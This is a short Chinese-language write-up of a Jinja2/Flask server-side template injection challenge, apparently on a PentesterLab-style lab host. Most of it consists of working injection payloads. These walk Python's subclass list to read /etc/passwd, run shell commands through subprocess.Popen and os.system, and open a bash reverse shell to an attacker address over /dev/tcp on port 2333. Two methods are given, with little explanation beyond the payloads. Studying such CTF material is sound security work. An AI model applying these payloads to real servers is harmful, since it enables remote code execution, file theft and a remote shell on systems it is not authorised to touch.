TL;DR
- 这个要得从前几天朋友丢过来的一个链接说起,是一道SSTI(Server Side Template Injection)的题目,目标是要执行任意命令,之前也没分析过SSTI的漏洞,所以简单看了下没搞定,后来有其它的事情就没看,这两天又看了下,觉得还是挺有意思的,就记录一下。
method1
- SSTI原理就不讲了,不是这篇文章的重点,想要了解可以参考Reference中的链接。
这个题目和Reference文章基本是一样的。 读文件就不解释了
1
2http://ptl-17ec4297-24d9093a.libcurl.so/{{ ''.__class__.__mro__[2].__subclasses__()[40]
('/etc/passwd').read() }}这里是通过file.read()方法直接读文件,然后直接显示在页面上的。但是如何实现命令执行反弹shell呢?
- 通过列举当前object下的子类可以发现有subprocess的Popen类,大家应该知道Popen是直接可以执行命令的,要索引类Popen,使用index不行(原因不明),但也可以通过笨方法索引
- 索引233,后面就可以执行命令了,但是不能回显,这个时候可以把我们的命令执行后结果写入到文件,然后再通过读文件读出来。
1
2http://ptl-17ec4297-24d9093a.libcurl.so/{{ ''.__class__.__mro__[2].__subclasses__()
[233]("id >/tmp/M0rk.txt",shell=True) }}
1
2http://ptl-17ec4297-24d9093a.libcurl.so/{{ ''.__class__.__mro__[2].__subclasses__()[40]
('/tmp/M0rk.txt').read() }}
- 那能不能拿到shell呢?答案是肯定的.
1
2http://ptl-17ec4297-24d9093a.libcurl.so/{{ ''.__class__.__mro__[2].__subclasses__()
[233]('''/bin/bash -c "/bin/bash -i >& /dev/tcp/ip/2333 0>&1"''',shell=True) }}
method2
- 今天又仔细研究了一下,发现了一种不依赖mro(Method Resolution Order)的方法。
一步一步找到os.system的索引为138
1
2http://ptl-17ec4297-24d9093a.libcurl.so/{{ [].__class__.__base__.__subclasses__()[59]
.__init__.func_globals['linecache'].__dict__.values()[12].__dict__.keys().index('system') }}同样可以拿到shell
1
2
3http://ptl-17ec4297-24d9093a.libcurl.so/{{ [].__class__.__base__.__subclasses__()[59]
.__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[138]
('''/bin/bash -c "/bin/bash -i >& /dev/tcp/ip/2333 0>&1"''') }}
other
- 本来想写个长文介绍SSTI原理以及python沙箱绕过原理的,后来发现无非还是翻译英文原著的文章,所以想了解原理的直接去看英文原版文章就好 ;)
Reference
- Exploring SSTI in Flask/Jinja2
- Exploring SSTI in Flask/Jinja2 - Part 2
- CSAW-CTF Python sandbox write-up